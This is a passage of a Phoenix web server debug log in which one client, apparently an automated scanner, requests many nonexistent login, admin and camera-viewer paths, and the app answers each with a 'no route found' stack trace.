    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:08.027000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50902] GET /user_view_S.htm
[Thu Sep  3 08:02:08.065000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50902] ** (Phoenix.Router.NoRouteError) no route found for GET /user_view_S.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:08.667000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50912] GET /ViewerFrame
[Thu Sep  3 08:02:08.689000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50912] ** (Phoenix.Router.NoRouteError) no route found for GET /ViewerFrame (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:09.361000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50922] GET /app/idxasp.html
[Thu Sep  3 08:02:09.389000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50922] ** (Phoenix.Router.NoRouteError) no route found for GET /app/idxasp.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:10.003000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50936] GET /view/index.shtml
[Thu Sep  3 08:02:10.030000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50936] ** (Phoenix.Router.NoRouteError) no route found for GET /view/index.shtml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:10.616000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50950] GET /view/view.shtml
[Thu Sep  3 08:02:10.643000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50950] ** (Phoenix.Router.NoRouteError) no route found for GET /view/view.shtml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:11.442000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50952] GET /main.cgi
[Thu Sep  3 08:02:11.475000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50952] ** (Phoenix.Router.NoRouteError) no route found for GET /main.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:11.591000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50968] GET /admin
[Thu Sep  3 08:02:11.606000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50968] ** (Phoenix.Router.NoRouteError) no route found for GET /admin (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:12.136000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50976] GET /admin
[Thu Sep  3 08:02:12.160000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50976] ** (Phoenix.Router.NoRouteError) no route found for GET /admin (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:13.269000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50990] GET /view.html
[Thu Sep  3 08:02:13.290000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50990] ** (Phoenix.Router.NoRouteError) no route found for GET /view.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:15.500000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47076] GET /login.htm
[Thu Sep  3 08:02:15.529000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47076] ** (Phoenix.Router.NoRouteError) no route found for GET /login.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:18.163000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47092] GET /exchweb/bin/auth/owalogon.asp
[Thu Sep  3 08:02:18.187000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47092] ** (Phoenix.Router.NoRouteError) no route found for GET /exchweb/bin/auth/owalogon.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:19.030000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47106] GET /owncloud/index.php/login
[Thu Sep  3 08:02:19.064000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47106] ** (Phoenix.Router.NoRouteError) no route found for GET /owncloud/index.php/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:25.555000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50638] GET /otrs/index.pl
[Thu Sep  3 08:02:25.573000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50638] ** (Phoenix.Router.NoRouteError) no route found for GET /otrs/index.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:25.598000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50644] GET /owa/auth/logon.aspx
[Thu Sep  3 08:02:25.616000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50644] ** (Phoenix.Router.NoRouteError) no route found for GET /owa/auth/logon.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:26.235000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50648] GET /exchange/logon.asp
[Thu Sep  3 08:02:26.254000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50648] ** (Phoenix.Router.NoRouteError) no route found for GET /exchange/logon.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:28.333000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50664] GET /ossim/session/login.php
[Thu Sep  3 08:02:28.349000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50664] ** (Phoenix.Router.NoRouteError) no route found for GET /ossim/session/login.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:34.194000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39736] GET /.DS_Store
[Thu Sep  3 08:02:34.214000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39736] ** (Phoenix.Router.NoRouteError) no route found for GET /.DS_Store (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
